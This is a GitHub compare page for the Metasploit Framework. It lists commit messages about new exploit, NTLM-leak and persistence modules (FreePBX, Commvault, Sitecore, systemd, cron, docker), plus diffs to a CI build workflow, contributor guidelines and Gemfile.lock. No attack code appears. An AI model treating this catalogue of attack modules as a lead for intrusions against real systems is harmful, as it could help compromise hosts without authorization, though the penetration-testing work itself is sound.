Compare commits

...

209 Commits

Author SHA1 Message Date
msutovsky-r7 b5c9547cc0 Land #20456, adds documentation for wordpress_cp_calendar_sqli auxiliary module
Add documentation for auxiliary/scanner/http/wordpress_cp_calendar_sqli
2025-10-02 08:02:12 +02:00
Martin Sutovsky 3cc91f544e Fixes msftidy_docs issues 2025-10-02 07:39:48 +02:00
Martin Sutovsky 103ae28696 Addressing comments 2025-10-02 07:36:10 +02:00
jenkins-metasploit a3498db126 automatic module_metadata_base.json update 2025-10-01 06:48:16 +00:00
msutovsky-r7 6e06963495 Land #20566, adds support to esc_update_ldap module when shadow credentials are not required
Update esc_update_ldap module so shadow creds not required
2025-10-01 08:39:26 +02:00
msutovsky-r7 81127918fe Land #20518, adds NTLM leak/LNK padding fileformat modules
Adds fileformat NTLM leak/LNK padding modules
2025-09-29 15:34:40 +02:00
Martin Sutovsky c044db677d Cleares up docs 2025-09-29 14:29:11 +02:00
Martin Sutovsky 310b8b7f8a Includes share datastore option in UNC path 2025-09-29 11:37:42 +02:00
Martin Sutovsky 38efab0bab Rubocopes, fixes SMB server, code cleanup 2025-09-29 11:33:33 +02:00
Martin Sutovsky 5faf18795c Rubocopes, fixes SMB server 2025-09-29 11:20:55 +02:00
Martin Sutovsky eaada61d80 Fixes notes 2025-09-29 11:10:00 +02:00
Martin Sutovsky 042cdb7a60 Code cleanup, adds Faker, fixing SMB server 2025-09-29 10:55:10 +02:00
Martin Sutovsky 82e2f03c23 Fixes ZDI reference, code cleanup 2025-09-29 10:13:37 +02:00
Martin Sutovsky d21f7917a9 Fixes regex 2025-09-29 10:01:24 +02:00
jenkins-metasploit a849571502 automatic module_metadata_base.json update 2025-09-29 07:44:10 +00:00
Martin Sutovsky 7b4bb55e12 Rubocopes 2025-09-29 09:41:10 +02:00
msutovsky-r7 a23473a103 Land #20565, moves image exec module to persistence category and mixin
Modern persistence image exec
2025-09-29 09:32:25 +02:00
h00die 81d8d46166 peer review 2025-09-26 15:44:31 -04:00
jenkins-metasploit 20c8708c96 automatic module_metadata_base.json update 2025-09-26 14:06:43 +00:00
msutovsky-r7 79ff667d5e Land #20538, adds systemd override persistence module
persistence: systemd service override
2025-09-26 15:57:31 +02:00
jenkins-metasploit 95bc7a4599 automatic module_metadata_base.json update 2025-09-26 13:02:18 +00:00
Martin Sutovsky 00f902b04b Adds formatting to cleanup commands 2025-09-26 15:00:09 +02:00
Spencer McIntyre 3d1d49b71a Merge pull request #20517 from cgranleese-r7/adds-postgres-ssl-support
Adds SSL support to the postgres_login module
2025-09-26 08:53:47 -04:00
happybear-21 8cfc2ae723 ixed: issues, updated requested changes (files: specialfolder_leak.rb, environment_variable_datablock_leak.rb, icon_environment_datablock_leak.rb) 2025-09-26 11:05:39 +05:30
Jack Heysel 7b3c82f2e6 Responded to comments 2025-09-25 13:35:41 -07:00
Martin Sutovsky a91f5f53f2 Substitutes cmd_exec with mkdir to create_process 2025-09-25 18:20:54 +02:00
adfoster-r7 070bf7f287 Merge pull request #20555 from bwatters-r7/spec/add-x64-meterp-acc-tests
add x64 acceptance tests, and use single, release payload
2025-09-25 15:40:51 +01:00
jenkins-metasploit 7f88110032 automatic module_metadata_base.json update 2025-09-25 10:58:08 +00:00
msutovsky-r7 86381a6394 Land #20412, swaps to psh_exec in powershell/exec_powershell
Remove errant write_log call and swap to the all-in-one psh_exec rath…
2025-09-25 12:49:33 +02:00
adfoster-r7 391e4e22f6 Merge pull request #20567 from bcoles/rex-exploitation
bump rex-exploitation gem from 0.1.41 to 0.1.44
2025-09-25 10:08:40 +01:00
cgranleese-r7 40f6e2ca60 Updates test to cover SSL support 2025-09-25 09:48:44 +01:00
Metasploit c4b7d9b42f Bump version of framework to 6.4.91 2025-09-25 03:32:30 -05:00
happybear-21 ae3b548be6 fixed: issues, updated requested changes (file: datablock_padding_lnk.rb) 2025-09-24 21:56:14 +05:30
adfoster-r7 40c32a2599 Merge pull request #20561 from cgranleese-r7/fixes-report-note-warning-when-no-data-key
Fixes deprecation message logic when no `data` object present
2025-09-24 14:29:45 +01:00
adfoster-r7 13b6c6eb98 Add named variable
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-09-24 13:57:39 +01:00
Jack Heysel e9ab1d0839 Update esc_update_ldap module so shadow creds not required 2025-09-23 14:37:55 -07:00
h00die 915cad72b5 modern persistence for windows image_exec_options 2025-09-23 17:25:27 -04:00
h00die 01a07ac9a1 modernizing windows persistence 2025-09-23 16:39:56 -04:00
bcoles 6d693c8586 bump rex-exploitation gem from 0.1.41 to 0.1.44 2025-09-24 05:11:51 +10:00
jenkins-metasploit 74de3c7314 automatic module_metadata_base.json update 2025-09-23 15:44:11 +00:00
Brendan a1e3e1545b Merge pull request #20562 from uhei/fix/weblogic-regex
fix: WebLogic server detection regex
2025-09-23 10:35:19 -05:00
msutovsky-r7 1a84744f15 Land #20557, fixes ActiveRecord error in reporting failure for file-based/multi-value RHOSTS
Fix ActiveRecord error when reporting failures with file-based RHOSTS
2025-09-23 16:28:10 +02:00
Martin Sutovsky 5260da1867 Removes redundant variables 2025-09-23 16:22:40 +02:00
Martin Sutovsky 6e01e7a5f6 Minor code changes 2025-09-23 16:16:41 +02:00
jenkins-metasploit 468b1027f3 automatic module_metadata_base.json update 2025-09-23 11:51:53 +00:00
msutovsky-r7 13b3e20a6b Land #20559, adds FreePBX unauthenticated SQLi to RCE module (CVE-2025-57819)
Add FreePBX Unauthenticated SQLi to RCE (CVE-2025-57819)
2025-09-23 13:38:44 +02:00
Uli Heilmeier 5af0dd3357 fix: WebLogic server detection regex
Some WebLogic server versions reports their version with a dash
between 'Server' and 'Version', like
'<p id="footerVersion">WebLogic Server-Version: 12.2.1.3.0</p>'
2025-09-23 09:58:50 +02:00
cgranleese-r7 a4f9dc7f13 Fixes deprecation message logic when no data object present 2025-09-23 08:38:14 +01:00
Brendan 052fdb7234 Merge pull request #20512 from cdelafuente-r7/fix_native_wth_gcc15
Fix issue with native extensions and GCC 15
2025-09-22 15:37:08 -05:00
Brendan e6e7a455e5 Merge pull request #20540 from Chocapikk/tips
Add new helpful tips to COMMON_TIPS for better usability
2025-09-22 13:25:59 -05:00
Echo_Slow b51cc87f88 Update freepbx_unauth_sqli_to_rce.rb
Performed manual cleanup by observing the error log of msftidy.  Checked for original functionality, the exploit still works.
2025-09-22 17:34:00 +02:00
Echo_Slow 6b183ba3b4 Update freepbx_unauth_sqli_to_rce.rb
Used rubocop -A option
2025-09-22 16:49:19 +02:00
Echo_Slow 9c901e7a46 Merge branch 'freepbx_unauth_sqli_to_rce' of https://github.com/EchoSl0w/metasploit-framework into freepbx_unauth_sqli_to_rce 2025-09-22 16:47:34 +02:00
Echo_Slow a1973e9f72 Update freepbx_unauth_sqli_to_rce.rb
Used rubocop with -A option.
2025-09-22 16:45:29 +02:00
Echo_Slow c0f4efd87d Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-22 16:42:22 +02:00
cgranleese-r7 13c3f4349d Adds exception and change SSL socket initialisation 2025-09-22 14:57:46 +01:00
Echo_Slow 09207eb450 Update freepbx_unauth_sqli_to_rce.rb to account for slow systems 2025-09-22 13:18:32 +02:00
Echo_Slow b54dfddc25 Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-09-22 13:17:28 +02:00
Echo_Slow 75c8efbc7d Update freepbx_unauth_sqli_to_rce.rb
Made the code more readable
2025-09-22 11:26:11 +02:00
Echo_Slow 19074eef02 Add exploit for CVE-2025-57819
Added an exploit script for unauthenticated remote code execution targeting FreePBX
2025-09-21 22:56:19 +02:00
Jeff McJunkin 893a4a5c98 failure.rb: Make comments accurate again 2025-09-19 14:47:03 -07:00
Jeff McJunkin 094fa8191a Update lib/msf/core/module/failure.rb
Per @smcintyre-r7's suggestion, which is a damned good one.

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-09-19 14:45:33 -07:00
Jeff McJunkin 1dc1a24f73 Improve RHOST validation logic inside report_failure 2025-09-19 14:30:27 -07:00
Jeff McJunkin 4b2a354d21 Prevent file: paths from being saved as host addresses in report_failure
Added check to prevent saving file paths as host addresses.
2025-09-19 14:07:32 -07:00
jenkins-metasploit a496ad0ac7 automatic module_metadata_base.json update 2025-09-18 20:48:23 +00:00
jheysel-r7 8b539f7e96 Merge pull request #20524 from h00die/modern_persistence_yum
update yum to persistence module
2025-09-18 13:39:57 -07:00
h00die 6c5522cdba Update documentation/modules/exploit/linux/persistence/init_systemd_override.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-09-18 16:25:54 -04:00
h00die 160cf5c55b peer review for yum persistence 2025-09-18 16:15:24 -04:00
Spencer McIntyre ed88e5397c Merge pull request #20553 from BenoitDePaoli/fix/userpass_password_persistence
fix: ensure USERPASS_FILE credentials store password (set private_type)
2025-09-18 15:39:08 -04:00
h00die 15f4abd1b2 update yum to persistence module 2025-09-18 15:36:44 -04:00
jenkins-metasploit dbc7af30b7 automatic module_metadata_base.json update 2025-09-18 16:05:00 +00:00
Spencer McIntyre cf3abc280e Merge pull request #20533 from cdelafuente-r7/feat/mitre/add_ref
Add T1003 "OS credential dumping" MITRE technique reference
2025-09-18 11:56:33 -04:00
happybear-21 f844377d58 added: documentation 2025-09-18 21:10:23 +05:30
jenkins-metasploit 05273263c9 automatic module_metadata_base.json update 2025-09-18 10:13:16 +00:00
Diego Ledda c718a965d7 Merge pull request #20508 from h00die/modern_persistence_cron
update cron to persistence mixin
2025-09-18 12:04:00 +02:00
Diego Ledda cb2f3992de chore: fix white-space issue 2025-09-18 11:48:17 +02:00
Metasploit c1b9cc7150 Bump version of framework to 6.4.90 2025-09-18 03:32:20 -05:00
h00die 6ddaa076c1 Apply suggestions from code review
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-09-17 15:41:25 -04:00
bwatters-r7 1891ebef87 add x64 acceptance tests, and use single, release payload 2025-09-17 12:21:30 -05:00
cgranleese-r7 f26c14f05a Address PR feedback 2025-09-17 15:38:08 +01:00
BenoitDePaoli 08c43670ff fix: ensure USERPASS_FILE credentials store password (set private_type) 2025-09-17 15:42:03 +02:00
jenkins-metasploit 99c24c37f2 automatic module_metadata_base.json update 2025-09-17 13:29:46 +00:00
Diego Ledda 448381ee96 Merge pull request #20548 from xHector1337/fix-exploits/linux/samba/is_known_pipename.rb
Fixes samba share iteration in linux/samba/is_known_pipename
2025-09-17 15:21:27 +02:00
Diego Ledda b5b1ac237a Update is_known_pipename.rb 2025-09-17 11:04:28 +02:00
jenkins-metasploit a333c81338 automatic module_metadata_base.json update 2025-09-17 08:06:57 +00:00
msutovsky-r7 dc8d67538c Land #20536, adds docker image persistence module
docker image persistence module
2025-09-17 09:56:16 +02:00
jenkins-metasploit 076fd0cc45 automatic module_metadata_base.json update 2025-09-16 22:06:51 +00:00
jheysel-r7 81ce0f8868 Merge pull request #20521 from h00die/modern_persistence_systemd
update systemd to persistence mixin
2025-09-16 14:56:26 -07:00
jenkins-metasploit 5394ff4b1b automatic module_metadata_base.json update 2025-09-16 20:30:50 +00:00
jheysel-r7 58dfd4d0ca Merge pull request #20507 from remmons-r7/commvault_rce_cve_2025_57790_cve_2025_57791
Exploit Module for CVE-2025-57790/CVE-2025-57791 - Commvault Unauthenticated RCE
2025-09-16 13:22:18 -07:00
h00die 73c6ed2528 peer review for init_systemd_override persistence 2025-09-16 16:08:30 -04:00
h00die 93bc79e87d peer review for docker_image persistence 2025-09-16 15:57:24 -04:00
Muzaffer Umut ŞAHİN 7c5fce6872 Add nill check logic 2025-09-16 19:49:55 +03:00
Christophe De La Fuente 788b9c27b4 Use sub-technique and add missing modules 2025-09-16 18:39:23 +02:00
msutovsky-r7 5eecb1feac Land #20535, adds a test login scanner and fixes ANONYMOUS_LOGIN
Add a test login scanner and fix ANONYMOUS_LOGIN
2025-09-16 16:51:26 +02:00
jenkins-metasploit 76977aeb61 automatic module_metadata_base.json update 2025-09-16 13:06:52 +00:00
msutovsky-r7 32aa0d84e4 Land #20525, moves obsidian plugin module to persistence category and mixin
update obsidian to persistence mixin
2025-09-16 14:58:15 +02:00
jenkins-metasploit 555423b2eb automatic module_metadata_base.json update 2025-09-15 23:04:23 +00:00
jheysel-r7 02e35f7e92 Merge pull request #20520 from h00die/modern_persistence_openrc
update openrc to persistence mixin
2025-09-15 15:54:31 -07:00
h00die ebe0234ddb Update documentation/modules/exploit/linux/persistence/init_openrc.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-09-15 16:30:17 -04:00
jenkins-metasploit ab1dd8787c automatic module_metadata_base.json update 2025-09-15 19:56:40 +00:00
Brendan 1ec10ec877 Merge pull request #20510 from h00die/modern_persistence_rc_local
update rc_local to persistence mixin
2025-09-15 14:47:48 -05:00
Spencer McIntyre a538a8ea14 Merge pull request #20483 from dledda-r7/fix/update-metasploit-payloads-runner
Update CI for meterpreter vs2022
2025-09-15 15:43:16 -04:00
remmons-r7 eddc81f10c Update commvault_rce_cve_2025_57790_cve_2025_57791.md
Update the example usage terminal output to reflect module changes.
2025-09-15 11:37:57 -05:00
remmons-r7 12b78c086d Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
Remove an empty line that msftidy doesn't like
2025-09-15 11:19:49 -05:00
remmons-r7 ddc5abf20c Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
Remove a commented out line that isn't needed.
2025-09-15 10:56:30 -05:00
remmons-r7 bb3a26cff1 Implement peer review suggestions for Commvault module
Implementing commvault_rce_cve_2025_57790_cve_2025_57791.rb changes from peer review.
2025-09-15 10:54:34 -05:00
remmons-r7 b754b7027c Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791 2025-09-15 10:47:38 -05:00
dledda-r7 20345c2234 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 10:12:45 -04:00
dledda-r7 7be73c59e9 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 09:33:54 -04:00
dledda-r7 b30c3e32c6 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 08:53:39 -04:00
dledda-r7 85c65bd48f fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 08:04:35 -04:00
happybear-21 aa264f59d4 fixed: rubocop offenses (file: specialfolder_leak.rb) 2025-09-14 23:45:32 +05:30
happybear-21 2ea4f7cdb0 fixed: rubocop offenses (file: icon_environment_datablock_leak.rb) 2025-09-14 23:35:46 +05:30
happybear-21 97495cdaa4 fixed: rubocop offenses 2025-09-14 23:28:17 +05:30
happybear-21 65549ba868 added: smb share server, completed: requested change 2025-09-14 15:43:58 +05:30
happybear-21 5a82ea53b9 added: smb for lateral movement, updated: description and icon_path as optional, used: faker module to generate data 2025-09-14 15:34:26 +05:30
happybear-21 3aa18b1541 updated: description and icon_path as optional, added: faker module to generate description and icon_path, fixed: minor changes 2025-09-14 15:19:05 +05:30
jenkins-metasploit 8ad35c0534 automatic module_metadata_base.json update 2025-09-12 23:27:45 +00:00
jheysel-r7 b45a3caaa5 Merge pull request #20509 from h00die/modern_persistence_motd
update motd to persistence mixin
2025-09-12 16:18:08 -07:00
Metasploit 831912a81b Bump version of framework to 6.4.89 2025-09-12 16:38:50 -05:00
jenkins-metasploit 4328e9951f automatic module_metadata_base.json update 2025-09-12 21:22:03 +00:00
jheysel-r7 e473c08b61 Merge pull request #20542 from zeroSteiner/fix/smb-kerberos-login-exp
Fix a Kerberos Error Edge Case When Logging In
2025-09-12 14:13:54 -07:00
Spencer McIntyre c27138a5bf Filter for an edge case in response codes 2025-09-12 16:49:49 -04:00
Spencer McIntyre 829166def4 Fix a regression in smb_login 2025-09-12 16:49:46 -04:00
jenkins-metasploit 3f1698f209 automatic module_metadata_base.json update 2025-09-12 19:56:02 +00:00
jheysel-r7 796404c1d7 Merge pull request #20541 from zeroSteiner/fix/smb-login-nil-passwords
Fix a regression in smb_login
2025-09-12 12:42:19 -07:00
Spencer McIntyre 3e396ce31f Deregister KrbCacheMode because it's ignored 2025-09-12 15:11:23 -04:00
Spencer McIntyre 5d748b9ba3 Fix a regression in smb_login 2025-09-12 14:27:32 -04:00
Chocapikk 93472898ce Add new helpful tips to COMMON_TIPS for better usability 2025-09-12 19:49:45 +02:00
Spencer McIntyre 59f1dd4879 Merge pull request #20529 from bwatters-r7/docs/update-contributing
Add section on Vibecoding and AI/LLM
2025-09-12 13:01:26 -04:00
jenkins-metasploit dbc7867dd7 automatic module_metadata_base.json update 2025-09-12 12:49:27 +00:00
msutovsky-r7 c901b5a306 Land #20526, moves at_persistence to persistence category and mixin
Modern persistence: at
2025-09-12 14:41:00 +02:00
mwalas-r7 d3d2950e80 Merge pull request #20537 from zeroSteiner/fix/null-cache-path
Check the path is set before checking the file exists
2025-09-12 05:18:37 -07:00
h00die 5abe0f57b7 Update documentation/modules/exploit/multi/persistence/at.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-12 14:13:27 +02:00
h00die 15cdbfac2e update at persistence to use attck ref 2025-09-12 14:13:26 +02:00
h00die fd1d70ef93 update at persistence to mixin 2025-09-12 14:13:26 +02:00
h00die 403d02698b systemd service override persistence 2025-09-11 17:29:13 -04:00
jenkins-metasploit cc48f38e21 automatic module_metadata_base.json update 2025-09-11 18:34:00 +00:00
jheysel-r7 96a83143f1 Merge pull request #20479 from msutovsky-r7/exploit/sitecore/postauth-rce
Adds modules for Sitecore XP post-auth remote code executions (CVE-2025-34510, CVE-2025-34511)
2025-09-11 11:25:27 -07:00
jenkins-metasploit dd7c491d9e automatic module_metadata_base.json update 2025-09-11 17:06:52 +00:00
Diego Ledda 985af001d2 Merge pull request #20497 from h00die/modern_persistence_autostart
update autostart to persistence mixin
2025-09-11 18:58:32 +02:00
jheysel-r7 a3a1e146f0 Apply suggestions from code review 2025-09-11 09:40:34 -07:00
Spencer McIntyre e197f532db Check the path is set before checking the file exists 2025-09-11 12:35:30 -04:00
h00die bce1a19927 Update modules/exploits/linux/persistence/init_openrc.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-11 12:00:52 -04:00
jenkins-metasploit 947a0ed339 automatic module_metadata_base.json update 2025-09-11 14:54:10 +00:00
Spencer McIntyre afdaf4ff39 Merge pull request #20514 from dledda-r7/fix/remove-unhook-autoload
Removing unhook extension autoload
2025-09-11 10:45:39 -04:00
Martin Sutovsky 5ab864b9b1 Uses between? for version check, clearer webshell upload 2025-09-11 11:04:34 +02:00
Diego Ledda 80c5e41650 Merge pull request #20495 from h00die/modern_persistence_apt
update apt_package_manager to persistence mixin
2025-09-11 10:49:08 +02:00
Martin Sutovsky 00bd70751c Updates docs 2025-09-11 10:41:28 +02:00
Metasploit f494b9871a Bump version of framework to 6.4.88 2025-09-11 03:32:35 -05:00
h00die 71e9602eba Update modules/exploits/linux/persistence/autostart.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-09-10 13:59:23 -04:00
h00die 2bf5264aff docker image persistence module 2025-09-10 13:45:22 -04:00
h00die 489e0ca404 docker image persistence module draft 2025-09-09 22:53:06 -04:00
h00die e3cad5b772 systemd updated with mixin udpates 2025-09-09 16:19:41 -04:00
h00die 296961137e use attck ref in systemd persistence module 2025-09-09 16:19:41 -04:00
h00die f240fed592 use attck ref in systemd persistence module 2025-09-09 16:19:41 -04:00
h00die 8b6aede3e4 update systemd to persistence mixin 2025-09-09 16:19:41 -04:00
h00die 16e407fa47 rc_local updated with mixin udpates 2025-09-09 15:42:46 -04:00
h00die 945fd8feb1 use attck ref in openrc persistence module 2025-09-09 15:42:46 -04:00
h00die c2ca191711 update openrc to persistence mixin 2025-09-09 15:42:46 -04:00
h00die 2bd3ea0e6a rc_local updated with mixin udpates 2025-09-09 14:58:09 -04:00
h00die feb4c6f855 rc_local updated with mixin udpates 2025-09-09 14:35:35 -04:00
h00die e0f350f294 update rc_local to persistence mixin 2025-09-09 14:35:35 -04:00
h00die 8bc611465b motd updated with mixin udpates 2025-09-09 14:29:29 -04:00
h00die e1e4e43535 update motd to persistence mixin 2025-09-09 14:29:29 -04:00
Spencer McIntyre 1bd44fa485 Set the anonymous_login option 2025-09-09 13:52:47 -04:00
Spencer McIntyre 30cfc5dbb0 Add a module for testing credential collections 2025-09-09 13:50:55 -04:00
h00die e79c10ac66 cron updated with mixin udpates 2025-09-09 11:55:19 -04:00
h00die 9e461ea875 switch to attck ref 2025-09-09 11:50:31 -04:00
h00die 785397bb0c cron to multi with persistence mixin 2025-09-09 11:50:31 -04:00
h00die c4d03023fc autostart updated with mixin udpates 2025-09-09 11:47:13 -04:00
h00die fb29084f86 persistence autostart cleanup updates 2025-09-09 10:49:56 -04:00
h00die c3be5ad23c update autostart to persistence mixin 2025-09-09 10:49:56 -04:00
h00die 638beeb738 apt persistence updates for mixin 2025-09-09 10:33:10 -04:00
h00die 711d8d0896 persistence apt cleanup updates 2025-09-09 10:28:03 -04:00
h00die db2f9f7792 update apt_package_manager to persistence mixin 2025-09-09 10:28:03 -04:00
cgranleese-r7 dbb631ffb6 Adds SSL support to the postgres_login module 2025-09-09 09:56:36 +01:00
Christophe De La Fuente 7ce2bdc979 Add T1003 "OS credential dumping" MITRE technique 2025-09-09 10:45:46 +02:00
h00die 5c1673bb20 update obsidian to persistence mixin 2025-09-06 15:05:21 -04:00
remmons-r7 8ffc9a3db4 Update commvault_rce_cve_2025_57790_cve_2025_57791.md
Updating module type from "multi" to "windows" in documentation :)
2025-09-05 23:13:10 -05:00
remmons-r7 00114142ff Delete modules/exploits/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb 2025-09-05 23:10:39 -05:00
remmons-r7 e1b6249c23 Delete documentation/modules/exploit/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.md 2025-09-05 23:09:51 -05:00
remmons-r7 e661388ce6 Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.md
New documentation for the Commvault CVE-2025-57790/CVE-2025-57791 RCE module, updated to reflect module changes.
2025-09-05 23:06:16 -05:00
remmons-r7 be546af7c0 Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.rb
Revised initial module and moved it to windows instead of multi.
2025-09-05 23:04:02 -05:00
remmons-r7 3f7512ba62 Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791 2025-09-05 23:02:01 -05:00
bwatters-r7 c40e4cc8bc Add section on Vibecoding and AI/LLM 2025-09-05 15:15:56 -05:00
Diego Ledda 4ede319b0a fix: review changes 2025-09-05 15:21:49 +02:00
happybear-21 600ad5777a Issue: #20223
Added Metasploit Auxiliary Module:
[x] Environment Variable Data Block NTLM Leak
[x] Icon Environment Data Block NTLM Leak
[x] Special Folder Data Block NTLM Leak
[x] Windows LNK Padding

Ref:
https://github.com/nafiez/DataBlockNTLMLeak/tree/main
2025-09-05 10:49:08 +05:30
Diego Ledda 55d8a3f33c fix: adding issue reference 2025-09-04 14:36:55 +02:00
dledda-r7 96c6a14e95 fix: removing unhook extension autoload 2025-09-03 11:22:02 -04:00
Christophe De La Fuente 4f606bc216 Bump bson and ed25519 versions 2025-09-03 16:27:00 +02:00
remmons-r7 b360d5edc3 Create commvault_rce_cve_2025_57790_cve_2025_57791.md 2025-09-02 15:43:22 -05:00
remmons-r7 a07203c14e Create commvault_rce_cve_2025_57790_cve_2025_57791.rb 2025-09-02 15:39:29 -05:00
Martin Sutovsky d056164d89 Removes redundant definitions 2025-09-01 15:53:14 +02:00
Martin Sutovsky fa64376c5c Adds comments for login function 2025-09-01 15:50:21 +02:00
bwatters-r7 090743abbd Update error message when there may be a timeout 2025-08-27 11:04:43 -05:00
Martin Sutovsky a8e97e034c Adds docs 2025-08-26 13:06:57 +02:00
Martin Sutovsky 2533ddf441 Rubocoping 2025-08-26 12:42:28 +02:00
Martin Sutovsky b43b4c9f37 Updates library, addressing comments 2025-08-25 17:49:34 +02:00
dledda-r7 5b9f1c7818 fix: update CI for meterpreter vs2022 2025-08-21 04:06:18 -04:00
Martin Sutovsky da5b20faa4 Creating lib file for shared functionality, adding more reliable check method for CVE-2025-34511, docs init 2025-08-20 10:59:22 +02:00
Martin Sutovsky 8c28c7dbae Code changes for 34510, adds module for CVE-2025-34511 2025-08-20 09:58:26 +02:00
Martin Sutovsky 7ab12460f1 Fixing payloads 2025-08-19 16:11:25 +02:00
Martin Sutovsky 96791403db Adds malicious zip upload 2025-08-19 09:56:23 +02:00
Martin Sutovsky 52efe8d6de Module init 2025-08-15 14:37:09 +02:00
RakRak 383ee010f1 Create wordpress_cp_calendar_sqli.md 2025-08-08 21:58:02 -04:00
bwatters-r7 dcfa448cf8 Remove now unused timeout 2025-07-23 10:40:24 -05:00
bwatters-r7 07692ff241 Remove errant write_log call and swap to the all-in-one psh_exec rather than execute_script 2025-07-23 09:40:35 -05:00
129 changed files with 8056 additions and 1871 deletions
@@ -269,12 +269,26 @@ jobs:
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2022 Build (Windows)
shell: cmd
shell: pwsh
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2022' && inputs.build_metasploit_payloads }}
run: |
cd c/meterpreter
git submodule init && git submodule update
make.bat
Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
dir
$InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
$WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
$Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
$process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
if ($process.ExitCode -eq 0) {
Write-Host "components have been successfully added"
} else {
Write-Host "components were not installed"
exit 1
}
Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
$r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
Write-Host $r
$r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
Write-Host $r
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
+4 -2
View File
@@ -25,8 +25,10 @@ will be closed. We need to ensure the code we're adding to master is written to
## Expedited Module Creation Process
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
### Code Contribution Do's & Don'ts:
## Vibecoding, AI, and LLM
My first job had a token ring LAN and I still own a Win98SE CD, so I'm not entirely sure what _vibecoding_ is, but we're cool with any coding technique you use to create a PR as long as it is tested, documented, and does what it says it does. Untested code is incomplete code, and incomplete code should be marked as a draft PR or WIP (Work in Progress) until it is complete, tested, and ready for a committer to review. We have had several sumbissions clearly from AI that were well-formatted, looked really neat, and did nothing it said it did. While we have no problem with AI-assisted coding, please do not assume that the code generated by an AI or LLM is logically or even syntactically correct.
### Code Contribution Do's & Don'ts:
Keeping the following in mind gives your contribution the best chance of landing!
#### <u>Pull Requests</u>
@@ -42,7 +44,7 @@ Keeping the following in mind gives your contribution the best chance of landing
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** test your code.
* **Do** test your code and submit the test output in your PR with any sensitive information removed.
* **Do** list [verification steps] so committers can test your code.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
+8 -6
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.87)
metasploit-framework (6.4.91)
aarch64
abbrev
actionpack (~> 7.2.0)
@@ -208,11 +208,11 @@ GEM
bcrypt (3.1.20)
bcrypt_pbkdf (1.1.1)
benchmark (0.4.1)
bigdecimal (3.2.2)
bigdecimal (3.2.3)
bindata (2.4.15)
bootsnap (1.18.4)
msgpack (~> 1.2)
bson (5.0.2)
bson (5.1.1)
builder (3.3.0)
byebug (11.1.3)
chunky_png (1.4.0)
@@ -235,7 +235,7 @@ GEM
docile (1.4.1)
domain_name (0.6.20240107)
drb (2.2.3)
ed25519 (1.3.0)
ed25519 (1.4.0)
elftools (1.3.1)
bindata (~> 2)
em-http-request (1.1.7)
@@ -487,9 +487,11 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.41)
rex-exploitation (0.1.44)
bigdecimal
jsobfu
metasm
racc
rex-arch
rex-encoder
rex-text
